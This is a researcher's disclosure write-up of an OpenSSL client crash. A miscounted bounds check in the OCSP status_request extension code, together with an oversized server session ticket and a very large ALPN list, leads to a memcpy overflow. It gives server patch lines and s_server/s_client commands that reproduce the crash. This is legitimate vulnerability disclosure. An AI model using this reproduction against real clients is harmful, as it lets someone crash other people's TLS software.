This requires tickets, requesting certificate status from server, and
a large ALPN list. The most unusual requirement is that the client sets a very large ALPN list. This is very unlikely in a real-world application, and therefore OpenSSL is treating this issue as a bug rather than a vulnerability, and I agree with this assessment. I’m publishing this because I think it’s nonetheless an interesting case.
Modify the server so that it will send a large ticket. What I did was
edit tls_construct_new_session_tickets so that the buffer is large
enough:
3051 if (!BUF_MEM_grow(s->init_buf, 3052 SSL_HM_HEADER_LENGTH(s) + 6 + sizeof(key_name) + 3053 EVP_MAX_IV_LENGTH + EVP_MAX_BLOCK_LENGTH + 3054 EVP_MAX_MD_SIZE + slen + 0xFFFF)) 3055 goto err;adjust ticket size:
3132 p += hlen; 3133 p += 16022; 3134 /* Now write out lengths: p points to end of data written */ 3135 /* Total length */(I added the line with 16022).
Run the server like this:
openssl s_server -alpn 'x'Run the client like this:
openssl s_client -reconnect -status -alpn `python -c "import sys; sys.stdout.write('x,'*4000+'x')"`This should result in a crash.
This is due to an invalid size check in the TLSEXT_STATUSTYPE_ocsp
part of ssl_add_clienthello_tlsext:
1264 if ((long)(limit - ret - 7 - extlen - idlen) < 0) 1265 return NULL; 1266 s2n(TLSEXT_TYPE_status_request, ret); 1267 if (extlen + idlen > 0xFFF0) 1268 return NULL; 1269 s2n(extlen + idlen + 5, ret); 1270 *(ret++) = TLSEXT_STATUSTYPE_ocsp; 1271 s2n(idlen, ret); 1272 for (i = 0; i < sk_OCSP_RESPID_num(s->tlsext_ocsp_ids); i++) { 1273 /* save position of id len */ 1274 unsigned char *q = ret; 1275 id = sk_OCSP_RESPID_value(s->tlsext_ocsp_ids, i); 1276 /* skip over id len */ 1277 ret += 2; 1278 itmp = i2d_OCSP_RESPID(id, &ret); 1279 /* write id len */ 1280 s2n(itmp, q); 1281 } 1282 s2n(extlen, ret); 1283 if (extlen > 0) 1284 i2d_X509_EXTENSIONS(s->tlsext_ocsp_exts, &ret);s2n (2 bytes), s2n (2 bytes), ret++ (1 byte), s2n (2 bytes) and then the s2n on line 1282 is 9 bytes, but the check on line 1264 checks only for 7 bytes. Using a specially crafted ticket (size) you can ensure that ‘ret’ is 2 bytes PAST ‘limit’ after this routine.
Then in the ALPN writing routine later this happens:
1324 if (s->alpn_client_proto_list && !s->s3->tmp.finish_md_len) { 1325 if ((size_t)(limit - ret) < 6 + s->alpn_client_proto_list_len) 1326 return NULL;limit ret is cast to size_t, so instead of -2 it becomes a very large value, and the code execution passes this check.
Then the memcpy a few lines later causes the crash.
It doesn’t crash immediately after ‘ret’ crosses ‘limit’ because the
buffer is over-allocated by the code in crypto/buffer/buffer.c:
87 /* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */ 88 if (len > LIMIT_BEFORE_EXPANSION) { 89 BUFerr(BUF_F_BUF_MEM_GROW, ERR_R_MALLOC_FAILURE); 90 return 0; 91 } 92 n = (len + 3) / 3 * 4;which is why a relatively large ALPN size is required for the crash.
Note that nothing out of the ordinary will happen if the server sends normal-sized tickets.
And just to be clear, you don’t need to modify the source code of the client in order to make this work. You only need to modify the server code (a separate build if you want) so it sends large tickets.